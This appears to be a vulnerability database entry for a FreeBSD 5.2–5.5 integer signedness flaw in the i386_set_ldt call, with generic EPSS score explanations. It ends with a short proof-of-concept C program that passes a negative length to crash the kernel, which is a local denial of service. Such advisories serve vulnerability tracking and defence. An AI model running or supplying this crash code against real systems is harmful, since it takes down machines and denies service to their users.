CVE Descriptions

Integer signedness error in the i386_set_ldt call in FreeBSD 5.5, and possibly earlier versions down to 5.2, allows local users to cause a denial of service (crash) via unspecified arguments that use negative signed integers to cause the bzero function to be called with a large length parameter, a different vulnerability than CVE-2006-4172.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/20158/info FreeBSD is prone to multiple local denial-of-service vulnerabilities. These issues occur because of input-validation flaws related to the handling of integers. An attacker may leverage these issues to cause the affected computer to crash, denying service to legitimate users. Versions 5.2 through 5.5 are vulnerable to these issues; other versions may also be affected. #include <stdio.h> #include <stdlib.h> #include <machine/segments.h> #include <machine/sysarch.h> int main(int argc,char **argv){ if(i386_set_ldt(LUDATA_SEL+1,NULL,-1)==-1){ perror("i386_set_ldt"); exit(EXIT_FAILURE); } exit(EXIT_FAILURE); }
